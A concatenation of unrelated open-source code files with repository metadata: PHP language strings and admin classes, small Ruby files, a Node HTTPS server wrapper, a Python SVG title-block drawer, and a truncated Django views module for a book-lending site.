<?php $MESS["RODZETA_PAGEOPTIMIZEPLUS_MAIN_TAB_SET"] = "Íàñòðîéêè"; $MESS["RODZETA_PAGEOPTIMIZEPLUS_MAIN_TAB_TITLE_SET"] = "Íàñòðîéêà ïàðàìåòðîâ ìîäóëÿ"; $MESS["RODZETA_PAGEOPTIMIZEPLUS_OPTIONS_SAVED"] = "Íàñòðîéêè ñîõðàíåíû"; $MESS["RODZETA_PAGEOPTIMIZEPLUS_JS_CSS_SECTION"] = "Îïòèìèçàöèÿ js, css"; $MESS["RODZETA_PAGEOPTIMIZEPLUS_JS_CSS_FOLDERS"] = "Ñïèñîê ïàïîê"; $MESS["RODZETA_PAGEOPTIMIZEPLUS_MOVE_STYLES"] = "Ïåðåìåùàòü òåãè ñòèëåé âíèç"; $MESS["RODZETA_PAGEOPTIMIZEPLUS_IMAGES_SECTION"] = "Îïòèìèçàöèÿ èçîáðàæåíèé"; $MESS["RODZETA_PAGEOPTIMIZEPLUS_IMAGES_QUALITY"] = "Êà÷åñòâî èçîáðàæåíèÿ (äëÿ jpg)"; $MESS["RODZETA_PAGEOPTIMIZEPLUS_IMAGES_FOLDERS"] = "Ñïèñîê ïàïîê"; $MESS["RODZETA_PAGEOPTIMIZEPLUS_SAVE_SETTINGS"] = "Ïðèìåíèòü íàñòðîéêè"; $MESS["RODZETA_PAGEOPTIMIZEPLUS_OPTIMIZE_PNG"] = "Îòïèìèçèðîààòü png-ôàéëû"; $MESS["RODZETA_PAGEOPTIMIZEPLUS_OPTIMIZE_JPG"] = "Îòïèìèçèðîààòü jpg-ôàéëû";
mit
axxilius/larepo
src/EntityDataFilter.php
2755
<?php /** * Created by PhpStorm. * User: axxil * Date: 07.10.16 * Time: 8:56 */ namespace axxilius\larepo; abstract class EntityDataFilter { protected $filterableObject; protected $queryConditions; protected static $conditionsMap = [ '='=>'Equal', '<>'=>'NotEqual', '>'=>'More', '<'=>'Less', '>='=>'EqMore', '<='=>'EqLess', 'like'=>'Like', 'in'=>'In', 'null'=>'Null', 'notNull'=>'NotNull', 'between'=>'Between' ]; /** * EntityFilter constructor. * @param $filterableObject * @param $queryConditions */ public function __construct($filterableObject,$queryConditions) { $this->filterableObject = $filterableObject; if (count($queryConditions) > 0 && !is_array($queryConditions[0])) { $this->queryConditions[] = $queryConditions; } else { $this->queryConditions = $queryConditions; } } abstract public function getResult(); abstract protected function conditionIn($filterableObject,$field,$values); abstract protected function conditionEqual($filterableObject,$field,$value); abstract protected function conditionNotEqual($filterableObject,$field,$value); abstract protected function conditionMore($filterableObject,$field,$value); abstract protected function conditionLess($filterableObject,$field,$value); abstract protected function conditionEqMore($filterableObject,$field,$value); abstract protected function conditionEqLess($filterableObject,$field,$value); abstract protected function conditionLike($filterableObject,$field,$value); abstract protected function conditionNull($filterableObject,$field); abstract protected function conditionNotNull($filterableObject,$field); abstract protected function conditionBetween($filterableObject,$field,$values); protected function parseCondition($queryCondition) { if (count($queryCondition) == 2){ $field = $queryCondition[0]; if (is_string($queryCondition[1]) && in_array($queryCondition[1],['null','notNull'])) { $sign = $queryCondition[1]; $values = null; } else { $sign = '='; $values = $queryCondition[1]; } } else { $field = $queryCondition[0]; $sign = $queryCondition[1]; $values = $queryCondition[2]; } if ($sign == '=' && is_array($values)) { $sign = 'in'; } $field = $this->fieldModifier($field); return [$field,$sign,$values]; } protected function fieldModifier($field) { return $field; } }
mit
AfterShip/apps-opencart
for_opencart_1.5.x/1.5.4/upload/admin/language/english/module/da_track_shipment.php
2017
<?php // Heading $_['heading_title'] = 'DragonApp Track Shipment v1.5.4'; // Text $_['text_module'] = 'Modules'; $_['text_success'] = 'Success: You have modified module DragonApp Track Shipment!'; $_['text_get_key'] = '<a target="_blank" href="https://www.aftership.com/">Sign up free</a> to get API key at Apps > API'; $_['text_get_username'] = '<a target="_blank" href="https://accounts.aftership.com/brand-settings">Choose Subdomain</a> at AfterShip brand-settings page'; $_['text_refresh'] = '<a target="_blank" href="https://www.aftership.com/settings/courier">Select carriers</a> at AfterShip settings > couriers'; $_['text_courier_priority'] = 'Order by Aftership priority'; // Entry $_['entry_key'] = 'AfterShip API Key'; $_['entry_username'] = 'AfterShip Username'; $_['entry_status'] = 'Status:'; $_['entry_couriers'] = 'Couriers:'; $_['entry_courier'] = 'Enabled carrier(s)'; $_['button_refresh'] = 'Refresh'; // Error $_['error_permission'] = 'Warning: You do not have permission to modify module DragonApp Track Shipment!'; $_['error_key'] = 'API Key Required'; $_['error_key_invalid'] = 'API Key is incorrect'; $_['error_username'] = 'Username Required'; $_['error_username_invalid'] = 'Username is incorrect, only small case letters and numbers are allowed'; $_['error_db1'] = 'Aftership Database Error, Unable to delete the courier_id column from the order_history table. Please uninstall and install again'; $_['error_db2'] = 'Aftership Database Error, Couldn\'t migrate from the previos version, unable to update the slugs in the history_table. Please uninstall and install again'; $_['error_db3'] = 'Aftership Database Error, Aftership didn\' manage to create the column \'slug\' in the order_history table. Please uninstall and install again'; $_['error_db4'] = 'Aftership Database Error, Aftership already installed in your system, it should work fine'; ?>
mit
samanthavholmes/railsblog
app/models/entry.rb
97
class User < ActiveRecord::Base validates :title, :body, presence: true belongs_to :user end
mit
alexdean/eight_corner
lib/eight_corner.rb
318
require 'logger' require 'interpolate' require "eight_corner/version" require 'eight_corner/base' require 'eight_corner/bounds' require 'eight_corner/figure' require 'eight_corner/quadrant' require 'eight_corner/point' require 'eight_corner/string_mapper' require 'eight_corner/svg_printer' module EightCorner end
mit
theodi/forkbomb
config/initializers/github.rb
128
class Forkbomb::Application def github @github ||= Github.new :oauth_token => ENV['FORKBOMB_GITHUB_OAUTH_TOKEN'] end end
mit
beny78/qwebs-https
lib/qwebs-https.js
1657
/*! * qwebs-https * Copyright(c) 2017 Benoît Claveau <benoit.claveau@gmail.com> * MIT Licensed */ "use strict"; const fs = require("fs"); const DataError = require("qwebs").DataError; const https = require("https"); class HttpsServer { constructor($config, $qwebs) { if (!$config) throw new DataError({ message: "[HttpsServer] Qwebs config is not defined."}); if (!$config.https) throw new DataError({ message: "Https section is not defined in qwebs config."}); if ($config.https.start === false) return; if (!$config.https.port) throw new DataError({ message: "Https port is not defined in qwebs config."}); if (!$config.https.key) throw new DataError({ message: "Https key is not defined in qwebs config."}); if (!$config.https.cert) throw new DataError({ message: "Https cert is not defined in qwebs config."}); if (!$config.https.ca) throw new DataError({ message: "Https ca is not defined in qwebs config."}); if ($config.https.ca.length != 2) throw new DataError({ message: "Https ca is not well defined in qwebs config."}); this.$config = $config; this.$qwebs = $qwebs; let options = { key: fs.readFileSync(this.$config.https.key), cert: fs.readFileSync(this.$config.https.cert), ca: [ fs.readFileSync(this.$config.https.ca[0]), fs.readFileSync(this.$config.https.ca[1]) ] }; https.createServer(options, (request, response) => { return this.$qwebs.invoke(request, response).catch(response.send.bind(response)); }).listen(this.$config.https.port, () => { console.log("Https server started on", this.$config.https.port); }); }; }; exports = module.exports = HttpsServer;
mit
lkabuku/futsal
src/Futsal/TournamentBundle/Admin/GameAdmin.php
4613
<?php // src/Futsal/TournamentBundle/Admin/GameAdmin.php namespace Futsal\TournamentBundle\Admin; use Sonata\AdminBundle\Admin\Admin; use Sonata\AdminBundle\Datagrid\ListMapper; use Sonata\AdminBundle\Datagrid\DatagridMapper; use Sonata\AdminBundle\Form\FormMapper; use Sonata\AdminBundle\Route\RouteCollection; class GameAdmin extends Admin { /** * Sets routes to be added on the routing * * @param \Sonata\AdminBundle\Route\RouteCollection $collection * * @return void */ protected function configureRoutes(RouteCollection $collection) { $collection->add('view', $this->getRouterIdParameter().'/view'); } /** * Configures fields to be shown on create/edit forms * * @param \Sonata\AdminBundle\Form\FormMapper $formMapper * @return void */ protected function configureFormFields(FormMapper $formMapper) { $formMapper ->add('referee', 'text', array( 'label' => 'Referee', 'required' => false ) ) ->add('date', 'date', array( 'label' => 'Game date', 'required' => false, 'attr' => array('data-sonata-select2' => false) ) ) ->add('isValid', 'integer', array('required' => false)) // sonata_type_collection => add a link_add ->add('gameResults', 'sonata_type_collection', array( 'type_options' => array( 'delete' => false, 'delete_options' => array( 'type' => 'hidden', 'type_options' => array( 'mapped' => false, 'required' => false, ) ) ) ), array( 'edit' => 'inline', 'inline' => 'table', 'sortable' => 'position', ) ) /* ->add('gameResults', 'entity', array( 'class' => 'Futsal\TournamentBundle\Entity\Result', 'property' => 'id' ) ) * */ ; } /** * Configures fields to be shown on filter forms * * @param \Sonata\AdminBundle\Datagrid\DatagridMapper $datagridMapper * @return void */ protected function configureDatagridFilters(DatagridMapper $datagridMapper) { $datagridMapper ->add('referee') ->add('date') ->add('isValid') ; } /** * Configures fields to be shown on lists * * @param \Sonata\AdminBundle\Datagrid\ListMapper $listMapper * @return void */ protected function configureListFields(ListMapper $listMapper) { $listMapper ->addIdentifier("id") ->add('referee') ->add('date') ->add('isValid') ->add('gameResults', 'entity', array( 'class' => 'Futsal\TournamentBundle\Entity\Result', 'property' => 'id', 'associated_property' => 'id', //@param template => Determines the template to use for this field 'template' => 'FutsalTournamentBundle:Admin:list__gameResults.html.twig' ) ) ->add('_action', 'actions', array( 'actions' => array( 'edit' => array(), ) )) ; } /* public function createQuery($context = 'list') { $query = parent::createQuery($context); $query->andWhere( $query->expr()->eq($query->getRootAliases()[0] . '.id', ':id') ); $query->setParameter('id', 1); return $query; } */ }
mit
dizballanze/planner
planner/frame/title.py
5681
from planner.frame.figure import Figure from svgwrite import shapes, text class SampleTitle(Figure): """ Sample title block. """ LINE_ATTRIBS = {"stroke-width": 0.5, "stroke": "#000", "fill-opacity": 0} DEFAULT_LABEL_ATTRIBS = {"font-size": 7, "text-anchor": "middle", "font-family": "Arial"} def __init__(self, width, height, title="Sample drawning"): self.width = width self.height = height self.title = title def _get_table_line(self, start, end): """ Create table line with relative coordinates """ base = (self.width - 10 - 185, self.height - 10 - 55) return shapes.Line((start[0] + base[0], start[1] + base[1]), (end[0] + base[0], end[1] + base[1]), **self.LINE_ATTRIBS) def _get_borders(self): left_top = (20, 10) right_top = (self.width - 10, 10) left_bottom = (20, self.height - 10) right_bottom = (self.width - 10, self.height - 10) return shapes.Polygon([left_top, right_top, right_bottom, left_bottom, left_top], **self.LINE_ATTRIBS) def _draw(self): res = [] # Borders res.append(self._get_borders()) # Title table title_insert_point = (self.width - 10 - 185, self.height - 10 - 55) res.append(shapes.Rect(title_insert_point, (185, 55), **self.LINE_ATTRIBS)) res.append(self._get_table_line((0, 5), (65, 5))) res.append(self._get_table_line((0, 10), (65, 10))) res.append(self._get_table_line((0, 15), (185, 15))) res.append(self._get_table_line((0, 20), (65, 20))) res.append(self._get_table_line((0, 25), (65, 25))) res.append(self._get_table_line((0, 30), (65, 30))) res.append(self._get_table_line((0, 35), (65, 35))) res.append(self._get_table_line((0, 40), (185, 40))) res.append(self._get_table_line((0, 45), (65, 45))) res.append(self._get_table_line((0, 50), (65, 50))) res.append(self._get_table_line((7, 0), (7, 25))) res.append(self._get_table_line((17, 0), (17, 55))) res.append(self._get_table_line((40, 0), (40, 55))) res.append(self._get_table_line((55, 0), (55, 55))) res.append(self._get_table_line((65, 0), (65, 55))) res.append(self._get_table_line((135, 15), (135, 55))) res.append(self._get_table_line((135, 20), (185, 20))) res.append(self._get_table_line((135, 35), (185, 35))) res.append(self._get_table_line((140, 20), (140, 35))) res.append(self._get_table_line((145, 20), (145, 35))) res.append(self._get_table_line((150, 15), (150, 35))) res.append(self._get_table_line((167, 15), (167, 35))) res.append(self._get_table_line((155, 35), (155, 40))) # Text res.append(text.Text(self.title, (title_insert_point[0] + 100, title_insert_point[1] + 30), **self.DEFAULT_LABEL_ATTRIBS)) return res class SampleLogoTitle(SampleTitle): """ Sample title block with logo. """ DEFAULT_LABEL_ATTRIBS = {"font-size": 5, "text-anchor": "middle", "font-family": "Arial"} def __init__(self, width, height, title="Sample drawning", project_title="Sample project", field_title="Date", field_value="01.08.2015"): super(SampleLogoTitle, self).__init__(width, height, title) self.project_title = project_title self.field_title = field_title self.field_value = field_value self._base_point = (20, self.height - 10 - 25) def _get_table_line(self, start, end): """ Create table line with relative coordinates """ return shapes.Line((start[0] + self._base_point[0], start[1] + self._base_point[1]), (end[0] + self._base_point[0], end[1] + self._base_point[1]), **self.LINE_ATTRIBS) def _get_logo(self): """ Return list of svg elements represented company logo """ return None def _draw(self): res = [] # Borders res.append(self._get_borders()) # Title table res.append(self._get_table_line((0, 0), (self.width - 30, 0))) res.append(self._get_table_line((self.width - 30 - 65, 0), (self.width - 30 - 65, 25))) res.append(self._get_table_line((self.width - 30 - 165, 0), (self.width - 30 - 165, 25))) res.append(self._get_table_line((self.width - 30 - 265, 0), (self.width - 30 - 265, 25))) res.append(self._get_table_line((self.width - 30 - 245, 18), (self.width - 30 - 245, 25))) res.append(self._get_table_line((self.width - 30 - 265, 18), (self.width - 30 - 165, 18))) # Text # project title project_title_insert_point = (self.width - 30 - 195, self._base_point[1] + 11) res.append(text.Text(self.project_title, project_title_insert_point, **self.DEFAULT_LABEL_ATTRIBS)) # drawing title title_insert_point = (self.width - 30 - 95, self._base_point[1] + 15) res.append(text.Text(self.title, title_insert_point, **self.DEFAULT_LABEL_ATTRIBS)) # field title field_title_insert_point = (self.width - 10 - 255, self._base_point[1] + 23) res.append(text.Text(self.field_title, field_title_insert_point, **self.DEFAULT_LABEL_ATTRIBS)) # field value field_value_insert_point = (self.width - 10 - 205, self._base_point[1] + 23) res.append(text.Text(self.field_value, field_value_insert_point, **self.DEFAULT_LABEL_ATTRIBS)) # Logo logo = self._get_logo() if logo is not None: res = res + logo return res
mit
FARIDMESCAM/Manufacture
src/fsm/EchangeBundle/Controller/PeriodeController.php
4848
<?php namespace fsm\EchangeBundle\Controller; use fsm\EchangeBundle\Entity\Periode; use fsm\EchangeBundle\Form\PeriodeType; use Symfony\Bundle\FrameworkBundle\Controller\Controller; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Template; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method; class PeriodeController extends Controller { /** * @Security("has_role('ROLE_ADMIN')") * @Route("/ajouterPeriode{id}", name="fsm_periode_add") */ public function ajouterPeriodeAction($id) { $exercice = $this->getDoctrine()->getManager() ->getRepository("fsmEchangeBundle:Exercice") ->find($id); $periode = new Periode($exercice); $form = $this->createForm(new PeriodeType, $periode); $request = $this->get('request'); if ($request->getMethod() == 'POST') { $form->bind($request); if ($form->isValid()) { $em = $this->getDoctrine()->getManager(); $em->persist($periode); var_dump($periode); $em->flush(); return $this->redirect($this->generateUrl('fsm_periode_list',array('id' => $id))); } } return $this->render('fsmEchangeBundle:Periode:ajouter.html.twig', array('form' => $form->createView(),)); } /** * @Security("has_role('ROLE_ADMIN')") * @Route("/ListPeriodeC{id}", name="fsm_periode_list_c",requirements={"id" = "\d+"},options={"expose"=true}) * @Template("fsmEchangeBundle:Periode:Listc.html.twig") */ public function ListPeriodeAction($id) { $request = $this->container->get('request'); $em = $this->getDoctrine()->getManager(); $liste_periodes = $em->getRepository('fsmEchangeBundle:Periode')->findByExercice($id); $Gestion = FALSE; // Lors de l'affichage des catégories, on ne fait que les visionner. //Il n'y aura de formulaire à transmettre qu'en mode modification -- modifCategorieAction return array('periodes' => $liste_periodes,'exercice'=>$id, 'form' => null,'gestion'=>$Gestion); } /** * @Security("has_role('ROLE_ADMIN')") * @Route("/ListPeriodeG{id}", name="fsm_periode_list_u",requirements={"id" = "\d+"},options={"expose"=true}) * @Template("fsmEchangeBundle:Periode:Listu.html.twig") */ public function ListPeriodeGAction($id) { $request = $this->container->get('request'); $em = $this->getDoctrine()->getManager(); $liste_periodes = $em->getRepository('fsmEchangeBundle:Periode')->findByExercice($id); $Gestion = TRUE; // Lors de l'affichage des catégories, on ne fait que les visionner. //Il n'y aura de formulaire à transmettre qu'en mode modification -- modifCategorieAction return array('periodes' => $liste_periodes,'exercice'=>$id, 'form' => null,'gestion'=>$Gestion); } /** * @Security("has_role('ROLE_ADMIN')") * @Route("/updatePeriode{id}", name="fsm_periode_update",options={"expose"=true}) */ public function modifPeriodeAction($id) { $request = $this->container->get('request'); $periode = $this->getDoctrine()->getManager() ->getRepository("fsmEchangeBundle:Periode") ->find($id); $form = $this->createForm(new PeriodeType, $periode); $request = $this->get('request'); if ($request->getMethod() == 'POST') { // var_dump($form->getErrors()); $form->bind($request); if ($form->isValid()) { // permet de tracer les erreurs. Certaines ne s'affichent pas . // pb de jeton CSRF resolu en mettant {{ form_rest(form) }} dans la vue. // var_dump($form->getErrors()); $em = $this->getDoctrine()->getManager(); $em->persist($periode); $em->flush(); $nom = $periode->getLibelle(); $this->get('session')->getFlashBag()->add('Information', 'Le libellé de la période comptable ' . $nom . ' a bien été modifié.'); // Ici, si on fait simplement $periode->getExercice() ramène le libellé de l'exercice ( le to_string de la classe exercice ??) return $this->redirect($this->generateUrl('fsm_periode_list_u',array('id' => $periode->getExercice()->getId()))); } } return $this->render('fsmEchangeBundle:Periode:Modif.html.twig', array('form' => $form->createView(), 'id' => $periode->getId())); } }
mit
ax003d/sichu_web
sichu/cabinet/views.py
40696
# -*- coding: utf-8 -*- import logging import sys from django.contrib.auth import REDIRECT_FIELD_NAME, authenticate, \ login as auth_login, logout as auth_logout from django.contrib.auth.decorators import login_required from django.contrib.auth.forms import AuthenticationForm, PasswordResetForm, \ SetPasswordForm, PasswordChangeForm, UserCreationForm from django.contrib.auth.tokens import default_token_generator from django.contrib.auth.views import logout from django.contrib.sites.models import get_current_site from django.core.context_processors import csrf from django.core.urlresolvers import reverse from django.db import IntegrityError from django.db.models import Q from django.db.models.query import QuerySet from django.http import Http404, HttpResponse, HttpResponseRedirect from django.shortcuts import render_to_response, get_object_or_404 from django.template import RequestContext from django.utils import simplejson from django.views.decorators.cache import never_cache from django.views.decorators.csrf import csrf_protect, csrf_exempt from django.conf import settings from apiserver.forms import BookBorrowRequestForm from apiserver.models import EmailVerify from cabinet import models, utils from cabinet.forms import PasswordResetForm, FollowForm from weibo import APIClient, APIError import datetime import traceback logger = logging.getLogger('django.request') LATEST_BOOKS_PER_PAGE = 16 MY_BOOKS_PER_PAGE = 5 LOANED_BOOKS_PER_PAGE = 5 BORROWED_BOOKS_PER_PAGE = 5 WANTED_BOOKS_PER_PAGE = 5 WISH_BOOKS_PER_PAGE = 16 def get_weibo_client(): return APIClient( app_key=settings.APP_KEY, app_secret=settings.APP_SECRET, redirect_uri=settings.CALLBACK_URL) def index(request): ctx = {'user': request.user, 'user_num': models.User.objects.count(), 'book_num': models.BookOwnership.objects.count(), 'borrow_num': models.BookBorrowRecord.objects.count(), 'news': models.CabinetNews.get_latest(5), 'actives': models.User.objects.order_by('-last_login')[:12], 'weibo_auth': get_weibo_client().get_authorize_url(), 'bookowns': models.BookOwnership.objects.filter(~Q(status=5), Q(visible=1)).order_by('-id')[:LATEST_BOOKS_PER_PAGE], 'page_num': utils.get_page_num(models.BookOwnership.objects.filter(~Q(status=5)).count(), LATEST_BOOKS_PER_PAGE), } ctx.update(csrf(request)) return render_to_response('cabinet/index.html', ctx) @login_required def mybookshelf(request): ctx = {'user': request.user, 'user_num': models.User.objects.count(), 'book_num': models.BookOwnership.objects.filter(~Q(status=5)).count(), 'borrow_num': models.BookBorrowRecord.objects.count(), 'news': models.CabinetNews.get_latest(5), 'actives': models.User.objects.order_by('-last_login')[:12], 'weibo_auth': get_weibo_client().get_authorize_url(), 'my_books': request.user.bookownership_set.filter(~Q(status=5))[:5], 'mb_page_num': utils.get_page_num(request.user.bookownership_set.filter(~Q(status=5)).count(), 5), 'loaned_recs': request.user.book_loaned()[:5], 'lr_page_num': utils.get_page_num(len(request.user.book_loaned()), 5), 'borrow_recs': request.user.bookborrowrecord_set.\ order_by('returned_date')[:5], 'br_page_num': utils.get_page_num(request.user.bookborrowrecord_set.count(), 5), 'wanted_books': request.user.book_wanted()[:5], 'wl_page_num': utils.get_page_num(request.user.book_wanted().count(), 5) } ctx.update(csrf(request)) return render_to_response('cabinet/mybookshelf.html', ctx) @login_required def sys_msgs(request): ctx = {'user': request.user, 'user_num': models.User.objects.count(), 'book_num': models.BookOwnership.objects.count(), 'borrow_num': models.BookBorrowRecord.objects.count(), 'news': models.CabinetNews.get_latest(5), 'actives': models.User.objects.order_by('-last_login')[:12], 'weibo_auth': get_weibo_client().get_authorize_url(), 'ebook_requests': request.user.ebook_requests(), 'borrow_requests': request.user.borrow_requests(), 'join_repo_requests': request.user.join_repo_requests()} ctx.update(csrf(request)) return render_to_response('cabinet/sys_msgs.html', ctx) @login_required def personal_info(request): ctx = {'user': request.user, 'user_num': models.User.objects.count(), 'book_num': models.BookOwnership.objects.count(), 'borrow_num': models.BookBorrowRecord.objects.count(), 'news': models.CabinetNews.get_latest(5), 'actives': models.User.objects.order_by('-last_login')[:12], 'weibo_auth': get_weibo_client().get_authorize_url() } ctx.update(csrf(request)) return render_to_response('cabinet/personal_info.html', ctx) def book_info(request, bid): try: book = models.Book.objects.get(id=bid) ctx = {'user': request.user, 'user_num': models.User.objects.count(), 'book_num': models.BookOwnership.objects.count(), 'borrow_num': models.BookBorrowRecord.objects.count(), 'news': models.CabinetNews.get_latest(5), 'actives': models.User.objects.order_by('-last_login')[:12], 'weibo_auth': get_weibo_client().get_authorize_url(), 'book': book} ctx.update(csrf(request)) return render_to_response('cabinet/book_info.html', ctx) except models.Book.DoesNotExist: return HttpResponse("Book not found!") def book_info_v2(request, bid): book = get_object_or_404(models.Book, id=bid) ctx = {'user': request.user, 'user_num': models.User.objects.count(), 'book_num': models.BookOwnership.objects.count(), 'borrow_num': models.BookBorrowRecord.objects.count(), 'news': models.CabinetNews.get_latest(5), 'actives': models.User.objects.order_by('-last_login')[:12], 'weibo': get_weibo_client().get_authorize_url(), 'book': book} ctx.update(csrf(request)) return render_to_response('cabinet/book_info_v2.html', ctx) @login_required def chg_personal_info(request): results = {'success': False, 'email_used': False} try: request.user.last_name = request.POST['last_name'] request.user.first_name = request.POST['first_name'] if len(models.User.objects.filter( Q(email=request.POST['email']), ~ Q(username=request.user.username)) ) != 0: results['email_used'] = True else: request.user.email = request.POST['email'] request.user.save() results['success'] = True except Exception, e: results['message'] = str(e) json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') @login_required def chg_pwd(request): results = {'success': False, 'old_pwd_err': False, 'new_pwd_err': False} try: if request.user.has_usable_password() and\ (not request.user.check_password(request.POST['old_pwd'])): results['old_pwd_err'] = True if request.POST['password1'] != request.POST['password2']: results['new_pwd_err'] = True if (not results['old_pwd_err']) and (not results['new_pwd_err']): request.user.set_password(request.POST['password1']) request.user.save() results['success'] = True except Exception, e: results['message'] = str(e) json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') def register(request): ctx = {} ctx.update(csrf(request)) if request.method == 'GET': return render_to_response("registration/register.html", ctx) try: ret = {'success': False, 'user_exist': False, 'email_used': False} ctx['username'] = request.POST['username'] ctx['email'] = request.POST['email'] user = models.User.objects.get(username=request.POST['username']) ret['user_exist'] = True except models.User.DoesNotExist: if len(models.User.objects.filter(email=request.POST['email'])) != 0: ret['email_used'] = True else: user = models.User.objects.create_user( username=request.POST['username'], email=request.POST['email'], password=request.POST['password_1']) user.first_name = request.POST['username'] user.save() user = authenticate(username=request.POST['username'], password=request.POST['password_1']) auth_login(request, user) ret['success'] = True except Exception, e: ret['message'] = str(e) json = simplejson.dumps(ret) return HttpResponse(json, mimetype='application/json') @login_required def send_test_mail(request): results = {'success': False} try: email = request.GET['email'] utils.send_mail([email], u"测试邮件", u"This is a test email from sichu.sinaapp.com!") results['success'] = True except Exception, e: results['message'] = str(e) json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') @login_required def add_book(request): if request.method == 'GET': raise Http404 results = {'success': False} try: b = utils.add_book(request.POST['isbn']) if b == None: results['message'] = u"无法找到ISBN为 %s 的书籍信息!" % request.POST['isbn'] else: bo = models.BookOwnership( owner=request.user, book=b, status=request.POST['status'], has_ebook=request.POST['has_ebook'] == '1', visible=request.POST.get('visible'), remark=request.POST['remark']) bo.save() results['success'] = True except Exception, e: results['message'] = str(e) json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') def show_user(request, uid): try: user = models.User.objects.get(id=uid) ctx = {'user': user, 'user_num': models.User.objects.count(), 'book_num': models.BookOwnership.objects.count(), 'borrow_num': models.BookBorrowRecord.objects.count(), 'news': models.CabinetNews.get_user_latest(user, 5), 'actives': models.User.objects.order_by('-last_login')[:12], 'weibo_auth': get_weibo_client().get_authorize_url(), 'bookowns': user.book_available(request.user)[:LATEST_BOOKS_PER_PAGE], 'mb_page_num': utils.get_page_num(user.book_available().count(), LATEST_BOOKS_PER_PAGE), 'userwanted': user.book_wanted()[:WISH_BOOKS_PER_PAGE], 'wl_page_num': utils.get_page_num(user.book_wanted().count(), WISH_BOOKS_PER_PAGE) } try: if request.user.is_anonymous(): ctx['is_login'] = False else: ctx['is_login'] = True follow = request.user.follow_set.get(following=user) ctx['remark'] = follow.remark except models.Follow.DoesNotExist: pass return render_to_response('cabinet/user_info.html', ctx) except models.User.DoesNotExist: return HttpResponse("User not found!") def show_user_v2(request, uid): user = get_object_or_404(models.User, id=uid) ctx = {'user': user, 'news': models.CabinetNews.get_user_latest(user, 5), 'actives': models.User.objects.order_by('-last_login')[:12], 'weibo_auth': get_weibo_client().get_authorize_url(), 'bookowns': user.book_available()[:LATEST_BOOKS_PER_PAGE], 'mb_page_num': utils.get_page_num(user.book_available().count(), LATEST_BOOKS_PER_PAGE), 'userwanted': user.book_wanted()[:WISH_BOOKS_PER_PAGE], 'wl_page_num': utils.get_page_num(user.book_wanted().count(), WISH_BOOKS_PER_PAGE) } try: if request.user.is_authenticated(): follow = request.user.follow_set.get(following=user) ctx['follow'] = follow except models.Follow.DoesNotExist: pass return render_to_response('cabinet/user_info_v2.html', ctx) @login_required def show_bookownership(request, boid): try: bo = models.BookOwnership.objects.get(id=boid) return HttpResponseRedirect('/cabinet/book/%s/' % bo.book.id) except models.BookOwnership.DoesNotExist: return HttpResponse("BookOwnership not found!") @login_required def edit_bookownership(request): results = {'success': False} try: bo = models.BookOwnership.objects.get(id=request.POST['bookownership']) if bo.owner != request.user: json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') visible = request.POST.get('visible') bo.status = request.POST['status'] bo.has_ebook = request.POST['has_ebook'] == '1' if visible is not None: bo.visible = visible bo.remark = request.POST['remark'] bo.save() results['success'] = True except models.BookOwnership.DoesNotExist: results['message'] = "BookOwnership not found!" except Exception, e: traceback.print_exc() results['message'] = str(e) json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') @login_required def del_bookownership(request): results = {'success': False} try: bo = models.BookOwnership.objects.get(id=request.POST['bookownership']) if bo.owner != request.user: json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') results['id'] = bo.id bo.delete() results['success'] = True except models.BookOwnership.DoesNotExist: results['message'] = "BookOwnership not found!" except Exception, e: traceback.print_exc() results['message'] = str(e) json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') @login_required def ebook_request(request): results = {'success': False} try: bo = models.BookOwnership.objects.get(id=request.POST['bo_id']) if len(models.EBookRequest.objects.filter( requester=request.user, bo_ship=bo)) != 0: results['success'] = True else: er = models.EBookRequest(datetime=datetime.datetime.now(), requester=request.user, bo_ship=bo) er.save() utils.send_mail( [bo.owner.email], u"[私橱网]书籍电子版请求", u"%s 向您请求 %s 的电子版!" % (request.user.full_name(), bo.book.title)) results['success'] = True except models.BookOwnership.DoesNotExist: results['message'] = "BookOwnership not found!" except Exception, e: results['message'] = str(e) json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') @login_required def get_dlg(request): ctx = {} ctx.update(csrf(request)) try: return render_to_response('cabinet/%s.html' % request.GET['dlg_type'], ctx) except: return HttpResponse("dlg not found!") @login_required def borrow_request(request): results = {'success': False} if str(datetime.datetime.now()) > request.POST['planed_return_date']: results['message'] = u"预计归还日期不能早于当天!" json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') try: bo_ship = request.POST.get('bo_ship') if len(models.BookBorrowRequest.objects.filter( bo_ship=bo_ship, requester=request.user, status=0)) != 0: results['success'] = True else: request.POST = request.POST.copy() request.POST['requester'] = request.user.id form = BookBorrowRequestForm(request.POST) if not form.is_valid(): results['message'] = form.errors else: bbr = form.save() results['success'] = True except models.BookOwnership.DoesNotExist: results['message'] = u"未找到该书!" except Exception, e: # results['message'] = u"借阅请求失败!" results['message'] = str(e) json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') @login_required def borrow_accept(request): results = {'success': False} try: bbr = models.BookBorrowRequest.objects.get(id=request.POST['brid']) if bbr.bo_ship.owner != request.user: results['message'] = u"非该书拥有者, 不能操作该书!" json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') if bbr.status != 0: # request had been processed results['success'] = True json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') if request.POST['accepted'] == "1": # request accepted if bbr.bo_ship.status != u"1": results['message'] = u"该书处于不可借状态!" json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') bbr.status = 1 bbr.save() else: # request rejected bbr.status = 2 bbr.save() results['success'] = True except models.BookBorrowRequest.DoesNotExist: results['message'] = u"借阅请求已过期!" except Exception, e: logger.exception(str(sys._getframe().f_code.co_name)) results['message'] = u"处理借阅请求失败!" json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') @login_required def del_ebook_request(request): results = {'success': False} try: erq = models.EBookRequest.objects.get(id=request.POST['eqid']) if erq.bo_ship.owner != request.user: results['message'] = u"非该请求所有者,不能删除该请求!" else: erq.delete() results['success'] = 